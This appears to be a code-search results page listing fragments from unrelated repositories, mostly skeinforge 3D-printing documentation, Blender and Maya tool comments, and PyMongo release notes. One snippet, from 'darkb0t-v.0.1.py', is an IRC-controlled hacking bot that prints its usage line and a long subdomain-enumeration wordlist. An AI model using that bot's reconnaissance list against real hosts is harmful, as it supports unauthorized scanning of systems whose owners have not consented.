38Slicing a file from skeinforge_plugins/craft.py, for example: 39python skeinforge_application/skeinforge_plugins/craft.py test.stl 40 47There is also a forum thread about how to contribute to skeinforge development at: 48http://dev.forums.reprap.org/read.php?12,27562 49 133===Getting Started=== 134For skeinforge to run, install python 2.x on your machine, which is available from: 135http://www.python.org/download/ 136 137To use the settings dialog you'll also need Tkinter, which probably came with the python installation. If it did not, look for it at: 138http://www.tcl.tk/software/tcltk/ 142 143If you want python and Tkinter together on all platforms and don't mind filling out forms, you can try the ActivePython package from Active State at: 144http://www.activestate.com/Products/activepython/feature_list.mhtmlskeinforge_application.skeinforge.html https://github.com/jmil/SFACT.git | HTML | 364 lines
79There is also a forum thread about how to contribute to skeinforge development at:<br> 80<a href="http://dev.forums.reprap.org/read.php?12,27562">http://dev.forums.reprap.org/read.php?12,27562</a><br> 81 <br> 160The latest version is at:<br> 161<a href="http://members.axion.net/~enrique/reprap_python_beanshell.zip">http://members.axion.net/~enrique/reprap_python_beanshell.zip</a><br> 162 <br> 171For skeinforge to run, install python 2.x on your machine, which is available from:<br> 172<a href="http://www.python.org/download/">http://www.python.org/download/</a><br> 173 <br> 180If you want python and Tkinter together on all platforms and don't mind filling out forms, you can try the ActivePython package from Active State at:<br> 181<a href="http://www.activestate.com/Products/activepython/feature_list.mhtml">http://www.activestate.com/Products/activepython/feature_list.mhtml</a><br> 182 <br> 211If there's a bug, try downloading the very latest version because skeinforge is often updated without an announcement. The very latest version is at:<br> 212<a href="http://members.axion.net/~enrique/reprap_python_beanshell.zip">http://members.axion.net/~enrique/reprap_python_beanshell.zip</a><br> 213 <br>io_import_hardreset_meta.py https://github.com/mrwonko/Blender-Hard-Reset-Model-Importer.git | Python | 554 lines
66# halfFloat (16 bit) read as Short to Float 67# from http://forums.devshed.com/python-programming-11/converting-half-precision-floating-point-numbers-from-hexidecimal-to-decimal-576842.html 68def halfToFloat(h):DraggerContextFactory.py https://bitbucket.org/jjburton/cgmtools.git | Python | 1040 lines
16# Morgan Loomis 17# http://forums.cgsociety.org/archive/index.php/t-983068.html 18# http://forums.cgsociety.org/archive/index.php/t-1002257.html 18# http://forums.cgsociety.org/archive/index.php/t-1002257.html 19# https://groups.google.com/forum/?fromgroups#!topic/python_inside_maya/n6aJq27fg0o%5B1-25%5D 20#======================================================================================================================RELEASE.rst https://github.com/mongodb/mongo-python-driver.git | ReStructuredText | 102 lines
20https://semver.org/ 21https://www.python.org/dev/peps/pep-0440/ 22 341. PyMongo is tested on Evergreen. Ensure the latest commit are passing CI 35 as expected: https://evergreen.mongodb.com/waterfall/mongo-python-driver. 36 To test locally, ``python3 setup.py test`` will build the C extensions and 36 To test locally, ``python3 setup.py test`` will build the C extensions and 37 test. ``python3 tools/clean.py`` will remove the extensions, 38 and then ``python3 setup.py --no_ext test`` will run the tests without 38 and then ``python3 setup.py --no_ext test`` will run the tests without 39 them. You can also run the doctests: ``python3 setup.py doc -t``. 40 59 complete and then download the "Release files" archive from each task. See: 60 https://evergreen.mongodb.com/waterfall/mongo-python-driver?bv_filter=release 61darkb0t-v.0.1.py https://bitbucket.org/th3flyboy/attackvector-linux.git | Python | 349 lines
1#!/usr/bin/python 2# This was written for educational purpose and pentest only. Use it at your own risk. 7# Version : 0.1 8# Greetz for rsauron and low1z, great python coders 9# greetz for d3hydr8, r45c4l, qk, fx0, Soul, MikiSoft, c0ax, b0ne and all members of ex darkc0de.com, ljuska.org & darkartists.info 44if len(sys.argv) != 5: 45 print "[!] Usage: python darkb0t.py <host> <port> <nick> <channel>" 46 print "[!] Exiting, thx for using script" 48 49subdomains = ['adm','admin','admins','agent','aix','alerts','av','antivirus','app','apps','appserver','archive','as400','auto','backup','banking','bbdd','bbs','bea','beta','blog','catalog','cgi','channel','channels','chat','cisco','client','clients','club','cluster','clusters','code','commerce','community','compaq','conole','consumer','contact','contracts','corporate','ceo','cso','cust','customer','cpanel','data','bd','db2','default','demo','design','desktop','dev','develop','developer','device','dial','digital','dir','directory','disc','discovery','disk','dns','dns1','dns2','dns3','docs','documents','domain','domains','dominoweb','download','downloads','ecommerce','e-commerce','edi','edu','education','email','enable','engine','engineer','enterprise','error','event','events','example','exchange','extern','external','extranet','fax','field','finance','firewall','forum','forums','fsp','ftp','ftp2','fw','fw1','gallery','galleries','games','gateway','gopher','guest','gw','hello','helloworld','help','helpdesk','helponline','hp','ibm','ibmdb','ids','ILMI','images','imap','imap4','img','imgs','info','intern','internal','intranet','invalid','iphone','ipsec','irc','ircserver','jobs','ldap','link','linux','lists','listserver','local','localhost','log','logs','login','lotus','mail','mailboxes','mailhost','management','manage','manager','map','maps','marketing','device','media','member','members','messenger','mngt','mobile','monitor','multimedia','music','my','names','net','netdata','netstats','network','news','nms','nntp','ns','ns1','ns2','ns3','ntp','online','openview','oracle','outlook','page','pages','partner','partners','pda','personal','ph','pictures','pix','pop','pop3','portal','press','print','printer','private','project','projects','proxy','public','ra','radio','raptor','ras','read','register','remote','report','reports','root','router','rwhois','sac','schedules','scotty','search','secret','secure','security','seri','serv','serv2','server','service','services','shop','shopping','site','sms','smtp','smtphost','snmp','snmpd','snort','solaris','solutions','support','source','sql','ssl','stats','store','stream','streaming','sun','support','switch','sysback','system','tech','terminal','test','testing','testing123','time','tivoli','training','transfers','uddi','update','upload','uploads','video','vpn','w1','w2','w3','wais','wap','web','webdocs','weblib','weblogic','webmail','webserver','webservices','websphere','whois','wireless','work','world','write','ws','ws1','ws2','ws3','www1','www2','www3'] 50 208 pass 209 elif re.search("google",name) or re.search("youtube", name) or re.search("phpbuddy", name) or re.search("iranhack",name) or re.search("phpbuilder",name) or re.search("codingforums", name) or re.search("phpfreaks", name) or re.search("%", name) or re.search("facebook", name) or re.search("twitter", name): 210 passrun_debates_4forums.py https://gitlab.com/purdueNlp/DRaiL | Python | 300 lines
16 17from drail.inference.randomized.purepython.infer_4forums import RInf4Forums # pure python 18# from drail.inference.randomized.infer_4forums import RInf4Forums # C++ 106 learner=GlobalLearner(learning_rate=args.lrate, use_gpu=(args.gpu_index is not None), gpu_index=args.gpu_index, \ 107 rand_inf=args.rand_inf, inferencer=RInf4Forums, ad3=args.ad3, ad3_only=args.ad3_only, \ 108 loss_fn=args.lossfn, local_init=args.local_init, no_randinf_constraints=args.no_randinf_constraints) 108 loss_fn=args.lossfn, local_init=args.local_init, no_randinf_constraints=args.no_randinf_constraints) 109 learner.set_4forums_issue(args.issue, args.author_constraints) 110 elif args.mode == "joint":statistic.py https://github.com/sialan/autonomous-sprayer.git | Python | 360 lines
36A gode example is at: 37http://forums.reprap.org/file.php?12,file=565 38 43 44> python statistic.py 45This brings up the statistic dialog. 47 48> python statistic.py Screw Holder_penultimate.gcode 49The statistic file is saved as Screw_Holder_penultimate_statistic.txt 51 52> python 53Python 2.5.1 (r251:54863, Sep 22 2007, 01:43:31) 66from __future__ import absolute_import 67#Init has to be imported first because it has code to workaround the python bug where relative imports don't work if the module is imported as a main module. 68import __init__skeinforge.py https://github.com/sialan/autonomous-sprayer.git | Python | 582 lines
32There is also a forum thread about how to contribute to skeinforge development at: 33http://dev.forums.reprap.org/read.php?12,27562 34 53using the M-Apps package, which is at: 54http://forums.reprap.org/file.php?1,file=772 55 87A gode example is at: 88http://forums.reprap.org/file.php?12,file=565 89 118 119To use the settings dialog you'll also need Tkinter, which probably came with the python installation. If it did not, look for it at: 120http://www.tcl.tk/software/tcltk/ 124 125If you want python and Tkinter together on all platforms and don't mind filling out forms, you can try the ActivePython package from Active State at: 126http://www.activestate.com/Products/activepython/feature_list.mhtmlskeinforge_application.skeinforge.html https://github.com/sialan/autonomous-sprayer.git | HTML | 348 lines
86using the M-Apps package, which is at:<br> 87<a href="http://forums.reprap.org/file.php?1,file=772">http://forums.reprap.org/file.php?1,file=772</a><br> 88 <br> 121A gode example is at:<br> 122<a href="http://forums.reprap.org/file.php?12,file=565">http://forums.reprap.org/file.php?12,file=565</a><br> 123 <br> 141The latest version is at:<br> 142<a href="http://members.axion.net/~enrique/reprap_python_beanshell.zip">http://members.axion.net/~enrique/reprap_python_beanshell.zip</a><br> 143 <br> 152For skeinforge to run, install python 2.x on your machine, which is available from:<br> 153<a href="http://www.python.org/download/">http://www.python.org/download/</a><br> 154 <br> 160 <br> 161If you want python and Tkinter together on all platforms and don't mind filling out forms, you can try the ActivePython package from Active State at:<br> 162<a href="http://www.activestate.com/Products/activepython/feature_list.mhtml">http://www.activestate.com/Products/activepython/feature_list.mhtml</a><br>